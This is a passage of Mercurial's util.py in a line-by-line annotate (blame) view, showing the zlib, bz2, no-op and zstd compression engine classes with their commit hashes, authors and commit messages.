31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3546 if insize < 44:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3547 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3548
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3549 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3550 compressed = zlib.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3551 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3552 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3553 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3554
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3555 # zlib makes an internal copy of the input buffer, doubling
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3556 # memory usage for large inputs. So do streaming compression
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3557 # on large inputs.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3558 else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3559 z = zlib.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3560 parts = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3561 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3562 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3563 pos2 = pos + 2**20
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3564 parts.append(z.compress(data[pos:pos2]))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3565 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3566 parts.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3567
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3568 if sum(map(len, parts)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3569 return ''.join(parts)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3570 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3571
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3572 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3573 try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3574 return zlib.decompress(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3575 except zlib.error as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3576 raise error.RevlogError(_('revlog decompress error: %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3577 str(e))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3578
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3579 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3580 return self.zlibrevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3581
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3582 compengines.register(_zlibengine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3583
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3584 class _bz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3585 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3586 return 'bz2'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3587
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3588 def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3589 """An algorithm that produces smaller bundles than ``gzip``.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3590
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3591 All Mercurial clients should support this format.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3592
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3593 This engine will likely produce smaller bundles than ``gzip`` but
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3594 will be significantly slower, both during compression and
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3595 decompression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3596
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3597 If available, the ``zstd`` engine can yield similar or better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3598 compression at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3599 """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3600 return 'bzip2', 'BZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3601
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3602 # We declare a protocol name but don't advertise by default because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3603 # it is slow.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3604 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3605 return compewireprotosupport('bzip2', 0, 0)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3606
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3607 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3608 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3609 z = bz2.BZ2Compressor(opts.get('level', 9))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3610 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3611 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3612 if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3613 yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3614
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3615 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3616
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3617 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3618 def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3619 d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3620 for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3621 yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3622
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3623 return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3624
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3625 compengines.register(_bz2engine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3626
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3627 class _truncatedbz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3628 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3629 return 'bz2truncated'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3630
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3631 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3632 return None, '_truncatedBZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3633
30369
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30366
diff changeset
3634 # We don't implement compressstream because it is hackily handled elsewhere.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3635
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3636 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3637 def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3638 # The input stream doesn't have the 'BZ' header. So add it back.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3639 d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3640 d.decompress('BZ')
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3641 for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3642 yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3643
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3644 return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3645
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3646 compengines.register(_truncatedbz2engine())
30279
6a8aff737a17 util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30181
diff changeset
3647
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3648 class _noopengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3649 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3650 return 'none'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3651
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3652 def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3653 """No compression is performed.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3654
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3655 Use this compression engine to explicitly disable compression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3656 """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3657 return 'none', 'UN'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3658
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3659 # Clients always support uncompressed payloads. Servers don't because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3660 # unless you are on a fast network, uncompressed payloads can easily
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3661 # saturate your network pipe.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3662 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3663 return compewireprotosupport('none', 0, 10)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3664
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3665 # We don't implement revlogheader because it is handled specially
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3666 # in the revlog class.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3667
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3668 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3669 return it
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3670
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3671 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3672 return fh
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3673
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3674 class nooprevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3675 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3676 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3677
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3678 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3679 return self.nooprevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3680
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3681 compengines.register(_noopengine())
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
3682
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3683 class _zstdengine(compressionengine):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3684 def name(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3685 return 'zstd'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3686
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3687 @propertycache
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3688 def _module(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3689 # Not all installs have the zstd module available. So defer importing
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3690 # until first access.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3691 try:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3692 from . import zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3693 # Force delayed import.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3694 zstd.__version__
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3695 return zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3696 except ImportError:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3697 return None
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3698
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3699 def available(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3700 return bool(self._module)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3701
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3702 def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3703 """A modern compression algorithm that is fast and highly flexible.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3704
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3705 Only supported by Mercurial 4.1 and newer clients.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3706
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3707 With the default settings, zstd compression is both faster and yields
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3708 better compression than ``gzip``. It also frequently yields better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3709 compression than ``bzip2`` while operating at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3710
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3711 If this engine is available and backwards compatibility is not a
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3712 concern, it is likely the best available engine.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3713 """
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3714 return 'zstd', 'ZS'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3715
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3716 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3717 return compewireprotosupport('zstd', 50, 50)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3718
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3719 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3720 return '\x28'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3721
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3722 def compressstream(self, it, opts=None):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3723 opts = opts or {}
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3724 # zstd level 3 is almost always significantly faster than zlib
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3725 # while providing no worse compression. It strikes a good balance
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3726 # between speed and compression.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3727 level = opts.get('level', 3)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3728
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3729 zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3730 z = zstd.ZstdCompressor(level=level).compressobj()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3731 for chunk in it:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3732 data = z.compress(chunk)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3733 if data:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3734 yield data
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3735
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3736 yield z.flush()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3737
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3738 def decompressorreader(self, fh):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3739 zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3740 dctx = zstd.ZstdDecompressor()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3741 return chunkbuffer(dctx.read_from(fh))
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3742
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3743 class zstdrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3744 def __init__(self, zstd, level=3):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3745 # Writing the content size adds a few bytes to the output. However,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3746 # it allows decompression to be more optimal since we can
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3747 # pre-allocate a buffer to hold the result.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3748 self._cctx = zstd.ZstdCompressor(level=level,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3749 write_content_size=True)
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3750 self._dctx = zstd.ZstdDecompressor()
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3751 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3752 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
30794
